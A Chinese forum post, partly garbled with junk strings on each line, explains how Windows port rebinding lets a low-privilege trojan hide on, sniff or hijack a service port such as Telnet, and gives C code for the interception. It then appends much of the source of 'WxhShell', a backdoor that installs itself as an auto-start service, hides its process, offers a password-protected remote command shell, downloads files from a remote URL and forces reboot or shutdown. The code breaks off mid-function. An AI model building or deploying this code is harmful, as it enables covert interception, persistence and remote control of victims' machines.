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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dE{dZ#Jfi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LIF7/$,0  
OU $#5  
  saddr.sin_family = AF_INET; ud@%5d  
<&g,Nc'5C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3kp+<$  
6) [H?Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mLLDE;7|}  
]:k/Y$O2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C 7ScS"~  
84zSK)=Y  
  这意味着什么?意味着可以进行如下的攻击: uo%)1NS!  
rlSeu5X6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7CURhDdk  
SP_75BJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w;:*P  
,G?WAOy,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lE(HFal0-(  
t pQ(g%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YWO)HsjP  
bI9~jWgGp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TpwkD_fg  
^7WN{0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jZkcBIK2  
a P@N)"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [uN? ~lp\%  
,CcV/K  
  #include >7T'OC  
  #include h_3E)jc  
  #include 0#Y5_i|p  
  #include    W/bQd)Jvk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ee%%d  
  int main() `MN4uC  
  { sfugY (m  
  WORD wVersionRequested;  a a/(N7  
  DWORD ret; WUXx;9>  
  WSADATA wsaData; o&)8o5  
  BOOL val; Z4w!p?Wqa  
  SOCKADDR_IN saddr; 6@F9G 4<Z  
  SOCKADDR_IN scaddr; sW'AjI  
  int err; 17"uf.G  
  SOCKET s; ' ;FnIZ  
  SOCKET sc; |tMWCA  
  int caddsize; E`usknf>l  
  HANDLE mt; Vl=l?A8  
  DWORD tid;   a;qryUyG  
  wVersionRequested = MAKEWORD( 2, 2 ); =M [bnq*\  
  err = WSAStartup( wVersionRequested, &wsaData ); e>7>j@(K]  
  if ( err != 0 ) { jB Z&Ad@e  
  printf("error!WSAStartup failed!\n"); Q}K"24`=  
  return -1; b;W3j   
  } M@H;pJ+B  
  saddr.sin_family = AF_INET; 4ber!rJM  
   'ud{m[|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x$.^"l-vX  
5o'FS{6U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yT"Eq"7/Y#  
  saddr.sin_port = htons(23); '/n1IM$7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;yLu R  
  { l<LP&  
  printf("error!socket failed!\n"); { VfXsI  
  return -1; r|fL&dtr  
  } Y^;ovH~ ve  
  val = TRUE; RSyUaA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y@:h4u"3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0oZ= yh  
  { O1U=X:Zl  
  printf("error!setsockopt failed!\n"); I7vz+>Jr  
  return -1; ):68%,  
  } M2>Vj/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  +yH7v5W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z2_*%S@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kYqU9cB~  
6azGhxh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2Aazy'/  
  { ~Z?TFg  
  ret=GetLastError(); F^t DL:  
  printf("error!bind failed!\n"); L~rBAIdD  
  return -1; Is)u }  
  } $%CF8\0  
  listen(s,2); 0KcyLAJ  
  while(1) :bu/^mW[  
  { fF$<7O)+]  
  caddsize = sizeof(scaddr); %S@ZXf~:  
  //接受连接请求 g1/[eoZzk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n.`($yR_  
  if(sc!=INVALID_SOCKET) &0OG*}gi  
  { Pw7]r<Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,.83m%i  
  if(mt==NULL) jk; clwyz/  
  { [#<-ZC#T*  
  printf("Thread Creat Failed!\n"); nJG U-Z  
  break; h5{'Q$Erl  
  } 7a =gH2]&  
  } /7nb,!~~l  
  CloseHandle(mt); nA-.mWD_C  
  } SO|NaqWa  
  closesocket(s); w(*vj  
  WSACleanup(); c)TPM/>(p  
  return 0; ^pAAzr"hv  
  }   53;}Nt#R  
  DWORD WINAPI ClientThread(LPVOID lpParam) q1$N>;&  
  { t9kzw*U9  
  SOCKET ss = (SOCKET)lpParam; $<dH?%!7  
  SOCKET sc; W+aP}rZm:  
  unsigned char buf[4096]; (Du@ S  
  SOCKADDR_IN saddr; F 5bj=mI  
  long num; jH5 k  
  DWORD val; Gv!2f  
  DWORD ret; DbBcQ%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o lR?n(v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7Utn\l  
  saddr.sin_family = AF_INET; 'Vzp2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o8V5w!+#  
  saddr.sin_port = htons(23); 9N#_( uwt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E<{ R.r  
  { .;y.]Z/;  
  printf("error!socket failed!\n"); Z, zWuE3  
  return -1; #vz7y(v  
  } Q 04al=  
  val = 100; y|C(X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qTRsZz@  
  { ,8S/t+H  
  ret = GetLastError(); -/wtI   
  return -1; tVYF{3BhA  
  } :;RMo2Tl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YFLZ%(  
  { s [RAHU  
  ret = GetLastError(); dc+>m,3$  
  return -1; |IeTqEu9  
  } 7Kr*P<-G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {g'(~ qv  
  { c?(4t67|  
  printf("error!socket connect failed!\n"); vONasD9At  
  closesocket(sc); p,EQ#Ik  
  closesocket(ss); -P(efYk  
  return -1; j nkR}wAA  
  } L4@K~8j7  
  while(1) 6+#Ydii9E  
  { =m]v8`g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2prU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -V*R\,>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GL>O4S<`  
  num = recv(ss,buf,4096,0);  R~TTL  
  if(num>0) bWjc'P6rx  
  send(sc,buf,num,0); ]g#:KAqz  
  else if(num==0) fbyd"(V 8r  
  break; 2 ~dE<}  
  num = recv(sc,buf,4096,0); a kkNI3  
  if(num>0) |0&IXOW"XF  
  send(ss,buf,num,0); v^sv<4*%  
  else if(num==0) Q4#.X=.d  
  break; 6iry6wcHm  
  } Hc;[Cs0  
  closesocket(ss); f$o_e90mu  
  closesocket(sc); vz@A;t  
  return 0 ; 3<e=g)F  
  } Yj<a" Gr4[  
7m47rJyW4  
J@/kIrx  
========================================================== [7:,?$tC  
XnH05LQ  
下边附上一个代码,,WXhSHELL 3p$?,0ELH  
i7CX65&b  
========================================================== 0.Q Ujw  
%HhBt5w  
#include "stdafx.h" ,5P0S0*{  
[CTnXb  
#include <stdio.h> +WZX.D  
#include <string.h> k`cfG\;r  
#include <windows.h> ^L,K& Jd  
#include <winsock2.h> ^7`BP%6  
#include <winsvc.h> OW&!at  
#include <urlmon.h> }g@v`5  
dUD[e,?  
#pragma comment (lib, "Ws2_32.lib") WSP I|#Xr%  
#pragma comment (lib, "urlmon.lib") 8$] 1M,$r  
n.}ZkG0`  
#define MAX_USER   100 // 最大客户端连接数 7RQR)DG  
#define BUF_SOCK   200 // sock buffer "-E\[@/  
#define KEY_BUFF   255 // 输入 buffer &.F4 b~A7  
SjK  
#define REBOOT     0   // 重启 ,Y@Gyx!4  
#define SHUTDOWN   1   // 关机 <q)#  
oe ~'o'  
#define DEF_PORT   5000 // 监听端口  }t!Gey  
HRpte=`q  
#define REG_LEN     16   // 注册表键长度 $o!zUH~'v  
#define SVC_LEN     80   // NT服务名长度 tb 5`cube  
k x8G  
// 从dll定义API `](e:be}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NYhB'C2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RV1coC.g4x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i}(LqcYU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Do9x XK  
M.JA.I@XC  
// wxhshell配置信息 `T1  
struct WSCFG { }czrj%6  
  int ws_port;         // 监听端口 l&[O  
  char ws_passstr[REG_LEN]; // 口令 .zf~.R;>  
  int ws_autoins;       // 安装标记, 1=yes 0=no gZVc 5u<  
  char ws_regname[REG_LEN]; // 注册表键名 &L3M]  
  char ws_svcname[REG_LEN]; // 服务名 ]|#+zx|/D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "BAK !N$9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g9OY<w5s]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BqEI(c 6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r[e##M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (xycJ`N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?C]vS_jAh  
6dHOf,zjm  
}; z,RhYm  
Q(G#W+r  
// default Wxhshell configuration pt?bWyKG  
struct WSCFG wscfg={DEF_PORT, NCveSP  
    "xuhuanlingzhe", HH`'*$]7  
    1, -+-?w|}qV  
    "Wxhshell", YH$-g  
    "Wxhshell", 53_Hl]#qZ  
            "WxhShell Service", pR<`H'  
    "Wrsky Windows CmdShell Service", SV4E0c>  
    "Please Input Your Password: ", $+Z[K.2J  
  1, WpDSg*fk=Y  
  "http://www.wrsky.com/wxhshell.exe", aNsBcov3O  
  "Wxhshell.exe" W@>% {eE  
    }; &{5,:%PXw  
sVQ|*0(J0r  
// 消息定义模块 bt SRtf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y!xF ;a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F k7?xc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; " > ypIR<  
char *msg_ws_ext="\n\rExit."; $L `d&$Vh  
char *msg_ws_end="\n\rQuit."; 8H[<X_/ke  
char *msg_ws_boot="\n\rReboot..."; Y+pHd\$-4  
char *msg_ws_poff="\n\rShutdown..."; TT%M' 5&  
char *msg_ws_down="\n\rSave to "; _IMW {  
e v}S+!|U  
char *msg_ws_err="\n\rErr!"; +SzU  
char *msg_ws_ok="\n\rOK!"; 3qgS&js 7  
kb%;=t2  
char ExeFile[MAX_PATH]; A.F%Ycq  
int nUser = 0; a9e>iU  
HANDLE handles[MAX_USER]; {'flJ5]  
int OsIsNt; wKh4|Ka  
i%iL[id:w  
SERVICE_STATUS       serviceStatus; e}voV0y\v:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  y`iBFC;_  
q~Hn -5H4Q  
// 函数声明 gE'sO T9v  
int Install(void); 8qoMo7-f  
int Uninstall(void); Gf6p'(\zun  
int DownloadFile(char *sURL, SOCKET wsh); E*& vy  
int Boot(int flag); Ha#= (9.  
void HideProc(void); d2FswF$C  
int GetOsVer(void); -12UN(&&Z  
int Wxhshell(SOCKET wsl);  ,i NXK  
void TalkWithClient(void *cs); @ )F)S 7  
int CmdShell(SOCKET sock); eSn+B;  
int StartFromService(void); Vsr.=Nd=  
int StartWxhshell(LPSTR lpCmdLine); 1NFsb-<u  
J6"9v;V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -]Bq|qTH[(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >tS'Q`R  
*][`@@->  
// 数据结构和表定义 E)&I@m  
SERVICE_TABLE_ENTRY DispatchTable[] = iO{hA  
{ 'ycJMYP8  
{wscfg.ws_svcname, NTServiceMain}, 9yu\ Ot  
{NULL, NULL} , u=`uD  
}; p>,|50|  
YpHg&|Fr  
// 自我安装 @)+AaC#-  
int Install(void) 1q\\5A<V  
{ 7O2/z:$f  
  char svExeFile[MAX_PATH]; 8LJ8 }%*  
  HKEY key; &, vcJ{.  
  strcpy(svExeFile,ExeFile); ,oe <  
J-:.FKf\5l  
// 如果是win9x系统,修改注册表设为自启动 T  wB}l  
if(!OsIsNt) { nUr5Qn?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8$cLG*=h4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CZe ]kXNv  
  RegCloseKey(key); )CYGQMK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w_c"@CjkE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X56q-|  
  RegCloseKey(key); wo}H'Q}Hj  
  return 0; }v;V=%N+v  
    } '6`3(TK.a  
  } yf)%%&  
} 3Aip}<1  
else { Mexk~z A^  
;a!S!% .h  
// 如果是NT以上系统,安装为系统服务 P{`C^W$J^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M7\szv\Zc=  
if (schSCManager!=0) fm%t^)E  
{ A|[?#S((]  
  SC_HANDLE schService = CreateService @u+]aI!`-  
  ( eeg)N1\  
  schSCManager, r r %V.r;2  
  wscfg.ws_svcname, G>_*djUf  
  wscfg.ws_svcdisp, ]#<4vl\  
  SERVICE_ALL_ACCESS, ]EbM9Fo-U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K g*Q  
  SERVICE_AUTO_START, eIF5ZPSZi  
  SERVICE_ERROR_NORMAL, ?,Xw[pR  
  svExeFile, ;O5zUl-`  
  NULL, Ty\R=y}}  
  NULL, ;C#F>SG\S  
  NULL, +480 l}  
  NULL, ,pfG  
  NULL M^Yh|%M  
  ); R{4^t97wH{  
  if (schService!=0) #Pau\|e_  
  { uc{Ihw  
  CloseServiceHandle(schService); g/_5unI}u  
  CloseServiceHandle(schSCManager); ~At7 +F[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XW H5d-  
  strcat(svExeFile,wscfg.ws_svcname); QZwNw;$k*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hag$GX'2k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c ]-<vkpV  
  RegCloseKey(key); Ny7S  
  return 0; o[4}h:> dq  
    } l4YbKnp]  
  } c]<5zyl"j1  
  CloseServiceHandle(schSCManager); 0o4XUW   
} ]mq|w  
} &B;~  
p>N(Typ0b  
return 1; *R,5h2;  
} `hm-.@f,9  
?<,l3pwqa  
// 自我卸载 A2FYBM`Q&D  
int Uninstall(void) qwcD`HV,  
{ \K{ z  
  HKEY key; ]c*4J\s  
l'1pw  
if(!OsIsNt) { 8`{:MkXP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Vax&n+J  
  RegDeleteValue(key,wscfg.ws_regname); pF>i-i  
  RegCloseKey(key); kazzVK5x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0> E r=,e  
  RegDeleteValue(key,wscfg.ws_regname); rXq.DvQ  
  RegCloseKey(key); c#]4awHU  
  return 0; ?R 'r4P,  
  } @4C% +-  
} 7z,C}-q  
} Q\vpqE! 9  
else { nW:C/{n2tG  
!F-w3 ]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [DOckf oZx  
if (schSCManager!=0) 'oVx#w^mf  
{ ">nxHU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); # w4-aJ  
  if (schService!=0) Lb-OsKU  
  {  > |=ts  
  if(DeleteService(schService)!=0) { G4;Oi=  
  CloseServiceHandle(schService); {TROoX~H?  
  CloseServiceHandle(schSCManager); $wa{~'  
  return 0; E&w7GZNt  
  } nFCC St$  
  CloseServiceHandle(schService); BOX2O.Pm  
  } G.B2('  
  CloseServiceHandle(schSCManager); 2[yd> (`  
}  /maJtX'  
} 2tO,dx  
Rp7mh]kZ  
return 1; MN>b7O \.?  
} 9=tIz  
d-ko ^Y0  
// 从指定url下载文件 G*MUO#_iuh  
int DownloadFile(char *sURL, SOCKET wsh) 7A7?GDW  
{ **CR} yV  
  HRESULT hr; >'$Mp<  
char seps[]= "/"; Y@iS_lR  
char *token; N~gzDQ3  
char *file; ej d(R+  
char myURL[MAX_PATH]; /nsX]V6i  
char myFILE[MAX_PATH]; pki%vRY  
r5/0u(\LB  
strcpy(myURL,sURL); FV!q!D  
  token=strtok(myURL,seps); T::85  
  while(token!=NULL) 8,%^ M9zBP  
  { gJ{)-\  
    file=token; Fo_sgv8O<  
  token=strtok(NULL,seps); ~?}Emn;t  
  } !< ";cw(q  
kTB 0b*V  
GetCurrentDirectory(MAX_PATH,myFILE); C) s5D  
strcat(myFILE, "\\"); 0+ '&`Q!u  
strcat(myFILE, file); }<r)~{UV  
  send(wsh,myFILE,strlen(myFILE),0); $PPi5f}HD  
send(wsh,"...",3,0); Zi i   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7]bGc \  
  if(hr==S_OK) b|DdG/O  
return 0; (t|Zn@uY  
else w9imKVry  
return 1; *^4"5X@  
n>XdU%&  
} <lPG=Xt  
JQI: sj  
// 系统电源模块 q;CiV  
int Boot(int flag) A)!*]o>U  
{ x,- 75  
  HANDLE hToken; ioCsV  
  TOKEN_PRIVILEGES tkp; "S]TP$O D  
jr. "I+  
  if(OsIsNt) { G` A4|+W"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zw[m9N5\h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EVSX.'&f  
    tkp.PrivilegeCount = 1; AT3Mlz~7#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _{KG 4+5\X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ND;#7/$>  
if(flag==REBOOT) { cI*;k.KU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p2](_}PK  
  return 0; Fxz"DZY6  
} fr3d  
else { y%T_pTcU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eym4=k ~  
  return 0; " 8MF_Gu):  
} 7$=In K  
  } KpGhQdR#  
  else { ?`ZU R& 20  
if(flag==REBOOT) { =,8]nwgo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r19 pZAc  
  return 0; D@.6>:;il  
} }Y\%RA  
else { EQM {  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T8g$uFo  
  return 0; i.m^/0!  
} ;_(4Q*Yx  
} Q2gq}c~  
TeM|:o  
return 1; QWYJ *  
} m_]Y{3C  
Xv^qVn4  
// win9x进程隐藏模块 i/4>2y9/F4  
void HideProc(void) tD)J*]G  
{ ga+dt  
ux4POO3C|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i_%_x*  
  if ( hKernel != NULL ) !|(NgzDP/  
  { K|, .C[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1+s;FJ2}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g- gV2$I  
    FreeLibrary(hKernel); "to;\9lP  
  } ]a`$LW}  
0H:X3y+  
return; WsB?C&>x  
} 7[)E>XRE  
>[#f\bG>  
// 获取操作系统版本 [(lW^-  
int GetOsVer(void) M= (u]%\  
{ !Uo4,g6r+  
  OSVERSIONINFO winfo; "y}5;9#,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `c$V$/IT  
  GetVersionEx(&winfo); 9.#<b |g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mfr|:i  
  return 1; z{QqY.Gu{G  
  else ~"!fP3"e  
  return 0; B@ EC5Ap*  
} Z`i(qCAd(  
%N._w!N<5n  
// 客户端句柄模块 6gDN`e,@  
int Wxhshell(SOCKET wsl) W>r+h-kR  
{ J&_n9$  
  SOCKET wsh; Pq$n5fZC !  
  struct sockaddr_in client; 1% `Rs  
  DWORD myID; ? r4>"[  
=3P)q"  
  while(nUser<MAX_USER) %|oym.-I6  
{ ccxNbU  
  int nSize=sizeof(client); 0y\Z9+G:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i%?*@uj  
  if(wsh==INVALID_SOCKET) return 1; YmG("z  
$`8wJf9@w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {qVZNXDn  
if(handles[nUser]==0) LS[]=Mk@1  
  closesocket(wsh); Ewz!O`  
else %hP^%'G  
  nUser++; HzsdHH(J  
  } .%-8 t{dt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c+ie8Q!  
ueNS='+m  
  return 0; *un^u-;  
} u3 D)M%e  
H5an%kU|j  
// 关闭 socket sLk-x\P]|  
void CloseIt(SOCKET wsh) \;Weizq5  
{ er\|i. Y  
closesocket(wsh); L~3Pm%{@A  
nUser--; uY*L,j^)  
ExitThread(0); *Pr )%  
} i6Gu@( 8Q  
*4 n)  
// 客户端请求句柄 /$m;y[[  
void TalkWithClient(void *cs) zQ PQ  
{ #-J>NWdt  
fP1! )po  
  SOCKET wsh=(SOCKET)cs; e3\T)x &=  
  char pwd[SVC_LEN]; !,PWb3S  
  char cmd[KEY_BUFF]; j>kqz>3  
char chr[1]; `]aeI'[}R  
int i,j; rm_Nn8p,  
Hn:Crl y#  
  while (nUser < MAX_USER) { 7zc^!LrW<  
^.y\(=  
if(wscfg.ws_passstr) { iy"*5<;*DD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?JUeuNs9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O6Y0XL  
  //ZeroMemory(pwd,KEY_BUFF); j<$2hiI/?&  
      i=0; jEwIn1  
  while(i<SVC_LEN) { h+,@G,|D  
>Q*Wi  
  // 设置超时 pR_9NfV{  
  fd_set FdRead; \2z>?i)  
  struct timeval TimeOut; 5zJq9\)d+  
  FD_ZERO(&FdRead); mkpMfPt  
  FD_SET(wsh,&FdRead); unxqkU/<Z  
  TimeOut.tv_sec=8; ]$hBMuUa  
  TimeOut.tv_usec=0; $cg cX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hr C+Yjp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t JmTBsn  
2 E= L8<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;VK.2^jW!  
  pwd=chr[0]; ~J]qP#C  
  if(chr[0]==0xd || chr[0]==0xa) { qP ,EBE  
  pwd=0; 7 8,n%=nG  
  break; X3& Jb2c2  
  } 1~gCtBRM  
  i++; PY'2h4IL  
    } y7<|_:00  
CJyevMf'  
  // 如果是非法用户,关闭 socket +[ZY:ZQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #9s,# }  
} (k P9hcV  
(m$Y<{)2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +`15le`R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *WZA9G#V5  
4ppz,L,4  
while(1) { JGZBL{8  
I=#$8l.*  
  ZeroMemory(cmd,KEY_BUFF); 8EYkQ  
~6gPS 13  
      // 自动支持客户端 telnet标准   @F>D+=hS  
  j=0; [>9is=>o.  
  while(j<KEY_BUFF) { gDzK{6Z}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u&e~1?R  
  cmd[j]=chr[0]; YkADk9fE  
  if(chr[0]==0xa || chr[0]==0xd) { A}w/OA97RO  
  cmd[j]=0; atzX;@"K  
  break; z9"U!A4  
  } 6~+e mlD  
  j++; |[lKY+26:{  
    } AFn7uW!9Gw  
HKeK<V  
  // 下载文件 BLFdHB.$T  
  if(strstr(cmd,"http://")) { =|9!vzG4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3$/IC@+  
  if(DownloadFile(cmd,wsh)) ';"VDLb3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MOC/KNb  
  else YZ7.1`8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z!\*Y =e  
  } Xc.`-J~Il  
  else { 1mJ Hued=6  
4!$"ayGv;D  
    switch(cmd[0]) { zeRyL3fnmb  
  m+9#5a-  
  // 帮助 0`H# '/  
  case '?': { qSQ~D(tO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1*7@BP5  
    break; kcEeFG;DQ  
  }  lRQYpc\  
  // 安装 @nf`Gw ;  
  case 'i': { [hs ds\  
    if(Install()) 8k79&|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P~dcW  
    else =u;MCQ[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z%kULTL  
    break; !9x}  
    } R-Sym8c  
  // 卸载 -qoH,4w  
  case 'r': { 8Y?;x}  
    if(Uninstall()) q(}bfIf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'q.!|G2U  
    else B<-Wea  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (.,G=\!  
    break; >3bCTE   
    } ,?3G;-  
  // 显示 wxhshell 所在路径 E"0>yl)  
  case 'p': { >d6|^h'0  
    char svExeFile[MAX_PATH]; mc3"`+o  
    strcpy(svExeFile,"\n\r"); 4+ig' |o  
      strcat(svExeFile,ExeFile); {Ha57Wk8D  
        send(wsh,svExeFile,strlen(svExeFile),0); M3AXe]<eC1  
    break; Pc9H0\+Xk  
    } v0y(58Rz.  
  // 重启 0IpmRH/  
  case 'b': { n`KY9[0U=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SX*RP;vHy  
    if(Boot(REBOOT)) aDCwI:Li(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>56~AJ  
    else { 1eKT^bgM  
    closesocket(wsh); "5 A! jq  
    ExitThread(0); r :dTz  
    } /<3UQLMa  
    break; 1&2>LE/P  
    } fR|A(u#9  
  // 关机 EQ ttoOO  
  case 'd': { Wjc'*QCPl  
